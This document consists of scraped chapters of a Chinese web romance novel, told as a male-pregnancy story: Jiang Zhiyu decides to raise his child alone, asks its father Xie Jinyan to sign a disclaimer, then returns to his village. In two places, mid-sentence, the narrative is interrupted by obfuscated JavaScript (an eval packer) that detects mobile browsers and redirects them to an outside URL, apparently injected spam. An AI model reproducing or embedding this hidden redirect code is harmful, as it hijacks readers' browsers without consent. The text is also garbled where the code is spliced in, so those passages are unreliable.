想到这些,江之遇茫然无措的眼眸有了一丝坚定。 他决定把这个孩子生下来。 管让他怀孕的那个人是不是昭昭小叔,反正他自己是孩子的亲生父亲就可以。 17.第 17 章 下定这个决心。 江之遇像是被裹了一层棉花似的思绪乱糟糟的脑袋一下子清明起来。 那种心脏乱跳,让他感到无措的慌乱心情也瞬间消失了。 对,是他自己的孩子。 或许是老天眷顾他自幼被抛弃,从小活得艰难,不仅给了他一次重生的机会,还给了一个他可以拥有自己亲人的机会。 江之遇忽然觉得生活充满了期待,眼前像是划亮一根柴火,将他的世界一瞬间点亮。 好开心。 心头仿佛被灌了满满一罐蜜一样。 江之遇再看到孕检单,眼睛里便溢满了柔和,还有期待,期待这个小生命的降临。 谢老夫人那边自小孙子和养父分享日常的通话视频结束后,便总觉得心里空落落的。 她看了眼餐桌,儿子默不作声地用餐,话少,冷脸,半天不见他吐出一个字来,无趣死了。 丈夫脑袋里就只有他那些古董和古玩,这两天收了几幅古画,心思早就飘到了后山的收藏室。 也就小孙子能陪她说说话,可是小孙子现在入了学。 昭昭在这之前一直待在山里,学习进度拉下很大一截,学的东西和他原来在山里又有很大的差距。 小孙子性格要强,一定要追赶上来,常常吃完饭就去学习了。 谢老夫人难免觉得家里不够热闹。 她叹息一声,看向对面的次子,想到什么。 “昨天和黎太太她们一起打牌,说沈家有位小姐从国外回来了,条件非常不错,黎太太有意想给你说媒。” 谢津延淡淡嗯声:“您帮我向黎伯母转达谢意,我暂时没有相亲和结婚的打算。” “你也不小了,阿延。”谢老夫人劝道,“你大哥像你这个年纪的时候昭昭都有了,你到现在连个恋爱都不见谈过。” “那是因为大哥和大嫂是青梅竹马,从小就认识。”谢津延并没有因为被催婚面上现出半分波动,语气仍四平八稳。 谢老夫人不死心,直接坦明意图:“我什么时候能再抱一下孙子或孙女?你大哥不在了,我就指着你了。” “那我恐怕要让您失望了。”谢津延擦擦嘴,从餐桌前站起身,“在遇到喜欢的人之前,我是不会和别人随便结婚生孩子的。” 另一边,江之遇在下定决心把孩子生下来后抱着孕检单在床上滚了好多圈。 他从来没有这么开心过,对明天和未来充满了期待。 怀着这样的期待,他睡了一个无比甜美的觉。 梦中,一个可爱的宝宝坐在棉花糖一样软绵绵的云朵里向他招手,向他笑。 软嘟嘟的脸颊,胖嘟嘟的小手,可爱地喊他爸爸。 江之遇幸福地笑醒了。 醒来后,江之遇便开始搜集有关生孩子的一切信息,孕期怎样照顾自己,需要注意的事项,怎样对宝宝更好,等等。 与此同时,脑海里已经在设想宝宝出生后的生活是什么样的。 他打算给宝宝做一个婴儿床,给他专门打造一间玩具室,还有很多可可爱爱的小玩意儿,像给昭昭做的那些小飞鸟、小木马一样。 他脑海里的蓝图规划得非常美好。 小蓁姐过来给他送好吃的,母女二人如今都知道了之遇决定把孩子生下来。 这件事情暂时除了老中医和她们二人没有其他人知道。 主要是村民们虽然淳朴,本性善良,可这种事情难免还是会被人议论,尤其是之遇未婚生子,去了一趟北城回来就怀孕了,不知道孩子的另一个父亲是谁。 无论是出于好奇、关心,还是想为之遇打抱不平,总归现在不是合适的时机。 怀孕期间需要平和安稳的环境和心情,小蓁姐看出了之遇有多喜欢和期待这个孩子,所以她们并没有在外面闲言碎语。 但还是不确定地问:“你确定要一个人生下这个孩子?不让孩子的另一个父亲知道?” 江之遇垂下眼眸,想到孩子的另一个父亲不是别人,正是自己养子的亲小叔。 让他那样的人知道有什么用呢? 本就是一夜露水情缘,一个阴差阳错。 他们的关系又那么尴尬,昭昭小叔那样一个天之骄子,站在名利场中心的人,自己和他简直有着云泥之别。 如果不是昭昭,他一辈子都不会和这样的人产生交集。 江之遇虽然来自山里,但并非不懂得这样的差距和道理。 被这样的人知道自己怀了他的孩子,一定不肯认吧? 那自己又干吗上赶着让他知道呢? 江之遇于是坚定地点点头:“嗯,我打算一个人把孩子生下来,不让他知道。” 看来孩子的另一个父亲确有其人,而且之遇自己是知道的。 “那如果以后孩子的父亲或是他的家人知道这个孩子的存在呢?”小蓁姐提醒道。 她比江之遇年长几岁,考虑事情比较周全,主要是她自己曾经失去过一个孩子,知道一个孩子的出生会牵扯出很多事情。 “有些男人一开始不想对孩子负责,可是某一天突然后悔,会想把孩子认回去。如果你做好了独自抚养孩子的准备,最好一开始就杜绝掉一些不必要的麻烦。” 江之遇微微一怔。 小蓁姐的话确实是他没有想到的范畴。 他只沉浸在想要把宝宝生下来以及和宝宝一起过未来生活的美好憧憬中,没有考虑太多的事情。 是啊,他是打算一个人把孩子生下来,不让昭昭小叔知道。 可昭昭一直和他保持着联系,隔一段时间就要和他打电话或是视频通话,谢老夫人也会和他聊一些家常。 这样的话,他不可能和谢家人没有一丝交集。 如果被他们发现异样,知道了这个孩子的存在,会怎样呢? 江之遇忽然不确定了。 等小蓁姐走后。 江之遇就打开手机在网上搜索未婚先孕的相关信息,想知道其他人在遇到和他相同的情况后会怎样办。 有一部分人选择把孩子打掉了,不想影响往后的生活,在负不起责任的时候带孩子来到这个没有爱的世界。 也有一些女孩子霸气地去父留子,直接让孩子随自己姓,父亲是谁不重要,反正一定流着她们自己家的血。 江之遇无比赞同,他也是这样打算的。 但是这样会存在一些潜在因素,和小蓁姐说的一样,未来有可能会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151186|164454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出现父方那边抢孩子抚养权的问题。 有些男人一开始嫌麻烦不想承担责任,之后后悔了,或是迫于某些现实问题又回来抢孩子。 江之遇这几天上网了解这个世界,就看到有一个玩世不恭的富二代各种流连花丛,却对伴侣极不负责任。 等到有一天身体亏空,立不起来,生不了继承人,便疯狂想要把之前扫地出门的私生子弄回来。 并且手段极其恶劣,无所不用其极,甚至把孩子趁母亲不注意偷偷带走藏了起来。 诚然,江之遇不担心昭昭小叔的身体状况,也不担心谢家会后继无人,毕竟还有昭昭。 可类似这样抢孩子的新闻还是让江之遇有些担忧。 江之遇第一次生命里出现这样一个和他紧密相连的人,他不想有任何不确定的因素影响他和宝宝。 想到这些,江之遇心里暗暗有了一个想法。 这几天刷到的网上信息里,不时会有推送到他眼前的霸总短剧和小说。 在这些短剧和小说里,他总是会看到霸总或霸总的母亲甩着一份协议到主角面前,让主角拿钱走人,再也不要出现在霸总眼前的桥段。 江之遇想,与其等到有一天昭昭小叔和他约法三章,像之前在谢家拦在房门前叮嘱他不要将那晚的事情说出去一样,不如他自己主动出击,断绝一切可能。 像昭昭小叔那样骄傲的人,应该不会不信守承诺,随意撕毁协议吧? 所以这天傍晚,外面浓云滚滚,似又有一场大雨从天空中倾泻而下的预兆,天色被压得很沉。 Fumfin的一间包厢里,先后来了四个俊逸不凡的男人。 祁焰自回国以后,总也没能聚齐几个发小。 大家如今各有各的事情做,西装裹身,事务繁忙的样子,像极了他们曾经嗤之以鼻的老古板做派。 “来来来。”耀眼夺目的蓝发青年起身端着酒杯,飞扬帅气的眉目下是一张让无数粉丝为之疯狂的脸。 “今天难得把你们凑到一起,就当为我接风洗尘也好,咱们四个人这么久没有聚过也好,今天谁也不准早早离开。” 谢津延拂去进门时被风卷得落在衣袖上的细小灰尘,身后跟着的霍岭生玉雕般的手握着伞柄,收起的伞面上滚下几滴晶莹的雨珠,看样子外面到底落下雨了。 黎清叙动作优雅地脱掉西装外套,笑得依旧斯文翩翩。 “别说,最近还真是忙得晕头转向,一点空闲的时间都没有,是该好好放松一下了。” 他们点了每次来酒吧都会点的那位金牌调酒师调的口味独特的龙舌兰和白兰地。 没多久,包厢的门打开,酒保把调好的酒给他们送了上来。 只是随着酒保一同进来的还有一个人影。 酒香浮动,挟来一丝雨水混合着泥土的清香,包厢里昏沉暗黄的灯光像是老旧电影里很有质感的镜头。 那个人影就出现在这样的镜头中。 昏黄的光线,舒缓音乐在耳畔缓缓流淌,那张让人怦然心动的脸定格在镜头中。 美人眉目隽美如画,漂亮得让人移不开眼,开口却操着一口南地吴侬的口音,小心翼翼问道:“请问,谢津延谢总是在这里吗?” 18.第 18 章 包厢内陷入片刻的安静。 昏沉光线颤动,窗外的雨噼里啪啦降下,打在玻璃窗上,雨珠蜿蜒滚落,折射着室内和外面街道的灯光,抹出一幅色彩斑斓的油画。 黎清叙桃花眼微眯,惊讶在脸上一闪而过,随后镜片后闪过一抹精光。 霍岭生脸上没什么波澜,只握着古典酒杯的手指微微曲动了下。 祁焰是这里反应最大的,他们的包厢在没有经过允许的情况下,除了酒保和经理从来没有其他人闯入。 这人是谁? 穿得土里土气的,说话还带着乡下口音,不过长得倒是挺漂亮的。 “阿延,他叫你的名字,是找你的吗?提前没说你要带人过来啊。”祁焰目光落在这个闯入的陌生漂亮男人脸上,不悦的同时又有些好奇。 酒保慌忙躬身:“抱歉,谢总,我没能拦住他,他说他认识您,找您有重要的事情,我也不清楚他是怎么知道的您在这间包厢。” 谢津延眉头轻微蹙了蹙,盯着眼前回了乡下以为再也不会见到的人,对酒保道:“没事,你先出去吧。” “那我先出去了,有什么吩咐您再叫我们。” 酒保慌慌张张关上包厢的门。 等门关上,隔绝外面的喧嚣。 江之遇局促不安地站在包厢入口处的地方。 鼻尖淡淡酒气浮荡,还有熟悉的木质沉香的气息。 江之遇抬眼看着里面的景象,才发现除了他要找的人,还有另外三个男人。 其中两个他在谢家的时候都见过,黎家大少爷,总是一副风度翩翩,笑得斯文绅士的模样。 还有一位是他在树下遇到的如误入凡尘一般神秘清冷的男人,江之遇至今不知道他叫什么名字,只知道是和昭昭小叔交好的朋友之一。 至于那个有着一副极为惹眼的帅气长相,染着张扬蓝色头发,用毫不遮掩的好奇放肆的目光打量自己的男生,江之遇却是第一次见。 也是昭昭小叔的朋友吗? “你来这里做什么?”在江之遇因为发现包厢里还有其他人而感到意外微微睁大眼睛的时候,谢津延沉沉出声。 江之遇听到他的声音,注意力一下子回笼。 “我有事情要和你说……” “什么事?”谢津延没从小侄子那里听说他的养父来了北城,也没想到这个男人会找到这里。 江之遇捏了捏衣角,不敢直视他的眼睛,只踌躇着小声问:“能不能到外面去说。” “就在这里吧。”谢津延淡声道。 江之遇顿时有些慌乱,看一眼沙发上坐着的另外三个都朝他投过来好奇视线的男人,眼睫颤了颤:“要在这里吗?可、可是……” “没有外人。”谢津延眉头蹙得更紧,面沉如水地在心里揣测这个男人再次来北城找上他的目的。 事先没有任何告知,就这样突然再一次来了北城,像上次在酒店走廊的拐角处拦住他一样。 这次又是什么事? 他总不能还有一个流落在外的小侄子被这个男人碰巧找到带上门。 江之遇被他幽邃深渊般的漆黑眼眸审视注视着,一瞬间有些退怯,产生了要不不告诉他,干脆回去的念头。 瞒一辈子。 要是有一天被发现,就说是自己和别的男人生的孩子。 可是这样的话,他岂不是要一直躲躲藏藏,遮遮掩掩的? 他的宝宝又不是什么见不得人的存在。 “不说吗?不说的话,我让人送你回去了。”谢津延见他秀挺的眉头拧在一起,多日不见又消瘦下去的小巧脸颊满是纠结的神色。 他拿出手机,准备打给宋秘书,想到什么,又转向家里司机的电话:“我母亲最近总念叨你,昭昭也很久没见你了,如果你不想现在回去的话,也可以在我家再留几天。” “我怀孕了,是你的孩子。” 江之遇涨红着脸,豁出去一般。 “Uh Oh。”琉璃桌上发出一记酒杯磕碰的声响,祁焰手中的酒杯险些没拿稳,掉在地上。 他惊讶地张大嘴巴,保持着一个O型的嘴形,大约没有想到把发小们凑在一起小聚一下,会听到这样劲爆的消息。 怀孕? 怀了阿延的孩子? 阿延吗? 阿延? 这可是比岭生那个清心寡欲的佛门戒子还要冷淡无情的人。 岭生是因为他家那堆糟心事,有种遁入空门,世间情爱再与他无关的意思。 阿延就不一样了。 什么人都不看在眼里,眼光挑剔得很,还有一点洁癖,不喜欢碰别人也不让别人碰他。 但不同于岭生给人的拒人千里,老黎那家伙一看就是花花公子带给人的不安全感,从学生时代起,就有很多人追在阿延身后。 接替谢大哥掌管谢氏后,更是有很多长辈把自家女儿和儿子往他身边推,从不见他动过心。 也不知道什么样的人才能入得了他的眼。 然而现在,竟然有人找上门告诉阿延怀了阿延的孩子! 祁焰十分震惊。 一同震惊的还有黎清叙,比上次在昭昭欢迎宴上发现自己找寻的“谢家漂亮男佣”竟然是把昭昭带回来的养父还要惊讶。 只是他掩饰得很好,没多久,镜片后的桃花眼又微微弯起,指腹细细摩挲着酒杯,用一种好整以暇、饶有趣味的眼神打量着眼前一幕。 霍岭生脸上依旧看不出情绪,清冷的样子像冷眼看待凡尘俗事的佛子。 但曲指有一下没一下无聊叩击杯壁的动作停顿片刻,还是泄露了他内心的一丝震动。 所有人投来好奇的视线,等待下文。 祁焰的嘴巴向来闭不了几秒,忍不住开口道:“阿延,没想到你的口味这么独特,竟然喜欢这样……” 他震惊的目光在自称怀了发小孩子的男人身上来来回回打量,落到他灰衣灰裤和款式老旧的布鞋上,又移回垂着眼眸,一脸怯怯的老实巴交的漂亮脸庞上,最后总结,“老实土气的美人?” 谢津延脸色变了变,没搭理他,只沉沉地盯着眼前二度找上门,告知怀了他孩子的男人。 眉目顺敛,眼神干净怯拗,忽视掉祁焰口中那身土气的穿着和带一点南地吴侬的口音,这是一个过分漂亮的男人。 他沉默地盯了这个男人片刻,忽而冷笑出声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15158058|164454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你在说什么,怀孕?我的孩子?开玩笑也要有个限度。” “真的。”江之遇从斜挎着的帆布包里掏出孕检单,“我一开始也不相信,直到看了两次医生,去医院做过检查,才确信我真的怀孕了。我又只和你那样过……” 他说着说着,声音越来越小,尤其是包厢里还有其他人在,他说这些事情的时候更是感到难以启齿,从脸颊到耳朵再到脖子根,红了一大片。 谢津延视线从他小兔子般不敢直视自己的闪躲眼睛上移开,又在他涨得通红的脸庞上停留几秒,最后移到孕检单上。 包厢里再一次陷入安静。 所有人的目光都移到那张孕检单上。 大约意识到这不是件玩笑事,祁焰一收嘻嘻哈哈的表情,黎清叙好整以暇的神情也一瞬间变得隐晦。 霍岭生玉骨般修长的手指捏着酒杯,再次有一下没一下地轻叩杯壁,古典酒杯里的酒在灯光的折射下清泠清透,他漠然旁观的眼眸却覆上一层浓雾,晦暗不明。 谢津延查看着孕检单,没放过上面任何信息。 直到孕八周的字眼清清楚楚地映在他眼前,和两人发生关系的时间对上,他再也不能忽视眼前男人告知他的事实。 “你想我怎么做?”谢津延垂眸看向等待他回复的男人,想起前些日子眼前的男人和小侄子视频通话时遮遮掩掩的神情和从手机那边传来的纸张喧哗的声音。 藏的就是这张孕检单吗? “啊,是真的?”祁焰只安静了几秒又忍不住出声,不等这个看上去从乡下来的老实巴交的美人答话,率先向发小发问。 “你真的把他——看不出来啊阿延,原来你是这么禽兽的一个人,竟然对这样老实巴交的美人下手,把人家弄怀孕了都不知道,还让人家主动找上门。” “老实吗?我看未必。”沙发上坐着好整以暇看着这出好戏的黎清叙悠悠开口,说不清心里是怎样一种失落酸酸的情绪。 “看他的样子应该是找你负责的,能两次不远千里找上门,一次是昭昭,一次是这个孩子,目的为何,” 他话音一转,侧头看向身旁的人,挑了下眉梢,“岭生,你应该很清楚吧?” 自始至终置身事外的霍岭生脸色微微变了变,一贯不起波澜的清冷眼眸终于有了异样。 他半掀起眼皮,注视着眼前的男人,脑海里闪过凤凰花树下男人摆弄木鸟时的质朴和纯澈。 那是令霍岭生为数不多感到舒适和惬意的时刻。 却没想到他也和那些人一样…… 霍岭生神色一下子冷下来:“别的我不清楚,只知道靠私生子上位的把戏我见得太多,如果你不想以后闹得像我们家那样,劝你不要给他希望,留下隐患。” “不、不是。”江之遇涨红了脸,听懂了他们话里有话的含义。 虽然不知道他们为什么突然视自己如“洪水猛兽”一般,可他不允许任何人伤害自己的宝宝。 他从斜挎的包里掏出另一页纸张,怯缩语气变得坚定:“我只想让他在这上面签字,声明和孩子没有关系,以后也不要打扰我们。” 谢津延:“……” 脸色极其难看。 20-30 第21章 第 21 章 接盘者一号就位(一更)…… 谢津延长这么大还从来没有遇到过这样超出他预料和掌控的事, 向来四平八稳、不怎么受波动牵扯的心莫名有些烦躁。 他用淋浴器往身上浇冷水,从头淋到脚。 昨晚睡意朦胧中总感觉有个毛茸茸的东西往他怀里蹭,弄得他身体内一股一股的邪火往外蹿。 谢津延是个掌控欲和自制力很强的人。 最擅长的就是将所有事情运筹帷幄地掌控在自己的范畴之内, 从来不会超出他的预期。 所以尽管年纪轻轻, 是匆忙接替已故的兄长掌管谢氏集团, 也能快速将混乱的局势肃清, 把一切拉回正轨。 对于生理欲.望这种东西, 更是自控力十足。 顶多青春期气盛的时候, 会一边解高难度习题,一边神色如常地纾解,并不会对他的功课和学习进度产生任何影响。 他把这归结为和吃饭、喝水一样身体正常的生理需求, 因此不会被这样的事情牵动,也认为不能掌控自己身体欲望的人和低等动物无异。 怎么也没想到会两次在同一个男人身上失控。 窗外天光大亮, 北城总是会在下过一场摧枯拉朽的大雨后迎来异常清朗的晴天。 光线穿过磨砂玻璃窗照进浴室里, 谢津延低头看一眼自己被冷水浇裹的手心里探出的丑陋青筋,唇角扯出一抹讥讽。 就这样跑了, 跑得可真快啊。 他面无表情关掉淋浴器, 用洁净的毛巾擦去手心上的脏污, 随后换了身干净的西装去了公司。 宋秘书一早就等候在工位上,看到上司面色不太好,隐隐猜测发生了什么事。 “把溪源乡的地址发给我。”宋秘书听上司走进总裁办后这样说。 他愣了几秒,立刻翻出溪源乡的信息:“您要去找江先生吗?需要我调整日程,现在给您安排车吗?” 宋秘书已经在脑海里脑补自己的霸总上司追妻的小短剧了, 还是个带球跑的小妻子, 却听上司声线冷淡道:“不用,我只是想了解给溪源乡的捐赠和援建情况怎么样了。” 宋秘书又是一怔:“……好的,明白。” “上次我母亲让给昭昭养父准备的补品都送过去了吗?”这道听不出情绪的低沉声音又问。 宋秘书点头:“第二天就送过去了。” 办公桌前面容冷峻的男人便蹙了蹙眉, 陷入沉默,片刻之后,道:“你再准备一份,外加一些孕期需要的营养品。” 谢津延脑海里浮现出那人单薄的一只手臂就能轻易将他揽在怀里的身影。 “……另外找个医生,留心他的身体状况。” “我一定会尽快办妥。”宋秘书向来会察言观色,尽管上司的反应与想象中有些出入,还是秉持着自己的职业素养去一一安排。 等宋秘书关上总裁办的门。 谢津延拿起桌子上的文件和报表。 自从接管公司,他的注意力就全部转移到公司的事务和小侄子的找寻上了。 撑起家族的担子也好,完成大哥生前未尽的遗愿也好,他这三年来从未让别的事情占据自己的时间和精力。 可是现在,他盯着文件上的小字和数据竟有些心不在焉。 祁焰一直在群里艾特他:[你们两个后来怎么样了,阿延,你该不会真不打算对人家负责吧?这样的话未免也太渣了。] 谢津延面色越发冷峻:[他自己不声不响回乡下了。] 跑得比兔子还快,仿佛自己会吃掉他一样。 [啊这……]祁焰没想到会是这样的走向,他还以为昨晚雨夜发小把人带回去后两人会有所缓和或是有别的发展。 黎清叙刚去研究室换上实验服,虽然已经答应家里的人弃医从商,可偶尔心情不佳或是烦躁的时候还是实验室能让他心情平和下来。 他慢条斯理往手上套着白色的乳胶手套,看到群里弹出的信息,又慢条斯理把手套摘下。 [怎么回乡下了?] 黎清叙问,心里隐隐压制着一丝兴奋。 谢津延不语,想到早上醒来时的景象脸色就很难看。 霍岭生随主持做了早课回来,瞥一眼手机,神色淡漠道:[这样的结果没什么不好,有些苗头及早掐掉,免得以后种下恶果,对你们都不利。] [说的也是。]祁焰若有所思,[像我们这样的人八成以后要联姻的,再怎么样也要找个门当户对和自身匹配的对象。] [你那个从乡下来的土美人……] 他快速撤回消息:[你那位,跑了就跑了吧,以后我们找更好的,不在一棵树上吊死。] 祁焰由谴责转为对兄弟的同情。 毕竟他们也是头一遭遇见这样的事情,岭生家带私生子找上门的十个手指头都掰不过来,最后闹成了家里好几房太太,北城、港城都有,最小的还是个在读书的大学生,都能上演宫斗剧了。 这还是祁焰第一次看到有人踹了球,不争名,不夺利,不要求给名分,还自己带了协议要求对方不要打扰自己,然后带球跑路。 [这点我赞成祁焰。]黎清叙难得认同自己这位空有皮囊没有大脑的发小的观点,镜片后的桃花眼重新又扬起笑意。 [既然是个意外,对方看起来也不想跟你纠缠不休,那就各自安好,当作什么事都没有发生过。] [路朝前走,人往前看,喜欢你的又不是没有别人,主要是你们的关系也挺尴尬的,昭昭和伯母那边你都不好交代。] 谢津延黑着脸屏蔽掉群消息。 于是整整一上午,谢氏集团的员工们都察觉到他们的总裁心情不佳,虽然平日里也是一副生人勿扰,不好接近的冷脸模样,但都没有今天这么阴鸷可怕。 江之遇直到火车开出很远都心有余悸。 一想到清晨醒来发现抵在腿间的火热,脸就烧灼得厉害。 酒店那晚的事情他已经有意无意地忘记,然而当那样的触感抵来,还是唤醒了无数细节。 怎么男人和男人之间也能那么激烈啊。 他以前都不知道后面还能这样用。 江之遇庆幸自己跑的快,虽然他接受了这个世界男人能和男人结婚并且生孩子的事实,可是并不表明他就能接受和男人在一起。 那么大的东西塞在那里,一想到他就觉得屁股一抽一抽的疼。 小蓁姐听说他的协议签好了,非常替他高兴,同时又有些为他打抱不平:“那个男人就这么痛快地答应了?” 江之遇回想了下昨晚雨夜屋檐下男人神情莫测的脸色,思索道:“应该算吧,反正是个意外,我们都没想到会有这样的结果。” “那也行。”小蓁姐没去问那个意外是怎样的意外,只道,“不管怎样,接下来你可以迎接自己期望的生活了,把宝宝生下来,好好过自己的小日子。” 之遇从小身体不好,父母去世后一个人孤苦伶仃的,三年前收养了个养子好不容易生活有了点依靠,却又被他自己送了回去。 现在可好,他有了自己的宝宝,不管孩子的另一个父亲是谁,他自己再也不是孤苦伶仃一个人了。 江之遇点点头:“嗯,我就是这么想。” 回到自己的乡间小院,空气清新,气候温宜湿润, 最重要的,不会像北城那样突然下仿佛要把整个世界摧毁的大雨,出行也不便利,无论去哪里总要坐车坐那么久。 还是乡下的生活让江之遇感到熟悉和舒适。 把协议书和孕检单锁在自己特地打制的机关木匣里,江之遇安安稳稳地睡了一个好觉。 从这天起,他开始关注和爱惜自己的身体。 暂时放下修建阁楼上的木屋,不再去山里砍竹子和砍树,只专心打理自己的小院。 种多的吃不完的蔬菜水果,还有鸡圈养的母鸡下的多余的鸡蛋,他都会把这些托张叔拿到山那边的集市去卖。 然后自己在家里也像之前原主那样接村里一些手工艺人的竹制、木制半成品,帮忙加工,比如灯笼、油纸伞,一些竹编、藤编制品。 他手本来就巧,在原来的世界跟着他那位木匠师父学过很多奇巧技能,做这些手工艺制品再轻松不过。 江之遇就这样一边调养自己的身体,好把宝宝平安健康地生下来,一边努力赚钱攒钱。 毕竟生宝宝、养宝宝都要花费一笔不小的费用。 他一定要给宝宝最好的生活。 谢老夫人那边前段时间让人送过来一些补品,之后又送过来一批,里面还有孕期需要的营养品。 “哦,是公司给怀孕的员工发放的福利,采购那边买多了,我就顺手放到谢老夫人嘱咐我们送给你的补品中,反正是员工福利,别的人也用不上,您就当做是附赠品别浪费了。” 宋秘书透过玻璃窗看一眼总裁办里专注办公的谢总,这两天面上神色缓和了些,不过浑身散发的冰冷气息还是让人不敢靠近。 就是好好的送给江先生东西,却不让告知对方。 宋秘书无奈收回视线,只能对着电话那头疑惑问询的江先生努力编了个理由。 江之遇听说是多余的福利品,就没再问,向宋秘书道了声谢谢。 这之后,日子就彻底恢复了江之遇期望的平平淡淡的生活了。 不同的是,他有了自己的宝宝,所以平淡的生活中又充满了美好的期待,成了蜜糖一样的调味品,让他每天心里都甜滋滋的。 这天早上,江之遇照例起床打理自己的小院,然后做手工制品赚钱。 因为心情平缓舒畅,不再像之前那样受到这个世界的种种冲击,又对生活有了期盼,每日好好照顾自己。 他小巧消瘦的脸颊像之前暂住在谢家庄园那段时间一样,再一次有了血色,也多了点肉感。 身形也没那么纤瘦了。 今日是一个很晴朗的天气,暑气开始慢慢消散,从山间吹来的风是轻柔舒缓的,清晨的阳光清透明亮。 江之遇刚给园子里新种下的菜苗浇了水,就听见小海螺从门口跑过,过了一会儿又折回来,从门扉探进来可爱的脑袋。 “之遇哥,快去看,村里来了批从大城市过来的医疗志愿者,免费给村子里的人做检查、理疗,其中有个特别特别帅的长发大帅哥,简直像是从二次元漫画里走出来一样。” 自从溪源乡得到了捐赠和援建,有了钱,不再像之前那么贫困拮据,新学校也在建设,小海螺的父母不让她外出打工了,而是继续让她上学好好学习。 小海螺现在每天都是开开心心的,洋溢着青春活力的气息。 和很多十几岁的少女一样,她向往外面广阔的天地,努力学习的课外之余,也会接触到一些网络上的信息,其中就有很多女孩子喜欢的二次元漫画。 漫画里总是会有很多帅气漂亮的纸片人俊男美女,那种好看和氛围感是三次元没办法比拟的。 用网友们的话说叫什么? “对!撕漫男!”小海螺激动地一拍手,“那个帅哥就是这样的,长头发,戴金丝边眼镜,我刚才看到的时候还以为自己没睡醒,穿进漫画世界里了呢。” 长发,戴金丝边眼镜? 江之遇狐疑了一下,浇水的动作也缓了缓。 听小海螺描述的,他第一反应就是昭昭小叔那位世家交好的朋友之一,黎家大少爷。 黎家大少爷就是那样一个长发翩翩,戴金丝边眼镜,总是笑得斯文绅士的男人,符合小海螺的描述。 就是嘴巴有些毒。 江之遇记得那天在酒吧包厢里对方说的话,言语间仿佛自己是洪水猛兽,是来纠缠他的朋友的。 挥散这段记忆,江之遇继续给小菜园浇水。 他不是爱凑热闹的人,也对小海螺口中的撕漫男没有兴趣。 长得再好看也是男人。 昭昭小叔那晚抵着他的凶巴巴的东西让江之遇对男人有一点恐惧。 以前无知无觉还好,以为只是搞错了。 现在知道男人真的会对男人做那种事情,江之遇就没办法淡定了。 “欸,之遇哥,你不去看看吗?”小海螺见江之遇无动于衷地继续给菜地里的菜苗浇水,挠了挠脑袋。 “那么帅的人呢,还给我们免费做医疗检查。” 江之遇摇摇头:“你们去吧。” 他前些日子才从许大夫的医馆和镇里的医院检查完回来,身体没什么毛病。 “那好吧,我自己去了。”小海螺探回脑袋,高高兴兴地去看“撕漫男”了。 小海螺走后,江之遇继续打理自己的小院。 给菜苗浇水、锄草、施肥,采摘了新鲜的豆角和番茄,准备中午做豆角小炒肉和西红柿鸡蛋汤。 门前人来人往,应该是溪源乡的村民都去小海螺口中的那个医疗志愿者平台去了。 江之遇往门外看了一眼就回到了屋子里。 太阳渐渐往中天移动,到了中午,江之遇放下手中的活计去厨房给自己做了午饭。 他现在一日三餐都好好吃饭,把自己的身体照顾好,也把肚子里的宝宝照顾好。 吃完午饭,江之遇小憩了一会儿,然后拎着做好的藤编制品和折扇送到村东头的桑姨那里。 桑姨紧跟时代潮流,做起了自媒体直播带货,会帮溪源乡的村民卖土特产和各种手工制品,抽取一点提成。 江之遇现在除了帮老匠人们完成半成品,自己也会做些榫卯工艺的小玩意儿拿去桑姨那里卖,意外地,卖得都很不错,他自己因此存了一小笔钱。 路过乡里的祠堂,远远看到门前停了好几辆大型保姆车,平常用作商议溪源乡重要的事务、祭祀,以及举办一些乡里重大喜庆活动的地方现在搭了台子,在院子里摆了拼凑在一起的长桌。 长桌后坐着些身穿白大褂和志愿者衣服的人,桌上摆了各种检测设备,志愿服务用桌牌区分开,其中有志愿者正在给村里一位老人量血压。 江之遇瞥一眼桌上的桌牌还有志愿者衣服上的标识,是一家医药公司,名称很熟悉,仿佛在哪里听过,可是想不起来是在哪里听过的。 正在脑海里搜索着。 乡长从祠堂里走出来乐呵呵冲他招手:“之遇,你来得正好,也过来测一测。这位黎先生的志愿团队是从北城来的,出自世界知名的权威医疗机构,十分专业可信。” 黎先生? 江之遇听到这声称呼,停住脚步。 黎这个姓并不常见,至少相比于他们这些江姓、李姓和王姓一类的姓氏,是比较少见的姓氏。 乡长说他是从北城来的,来自世界知名的医药机构。 江之遇忽然想起来看到的那个医药机构标识为什么会熟悉。 两个月前在北城酒店黎家小少爷的成人礼蹲守昭昭小叔的时候,他听到那些出入宴会厅的豪门名流提起过。 正是黎家的产业。 昭昭小叔家是百年经商世家,是最早一批投资石油、金融、地产、航运、酒店等的经商者,资产遍布各行各业和全世界。 祁家手握媒体渠道和娱乐圈重要资源命脉,母方那边都是从政人员。 霍家是从港城过来的,而黎家则是专攻生物医药领域,全球TOP前三的医药公司,研究室和私人医院以及各种专利、业务覆盖上百个国家。 姓黎,从北城来的,黎家的产业,长头发,戴金丝边眼镜…… 所有指向都和他脑海里的那个人联系在一起。 可是,怎么会有那么巧合的事情呢? 那样一位金尊玉贵的大少爷,黎家未来的继承人,怎么可能会到他们这么个穷乡僻壤的地方来做志愿者。 江之遇觉得一定是自己想多了。 正要和乡长说自己要去一趟桑姨那里,从祠堂里屋走出一个风度翩翩的身影。 一头惹眼的长发,镜片后的桃花眼总是笑得斯文又风流。 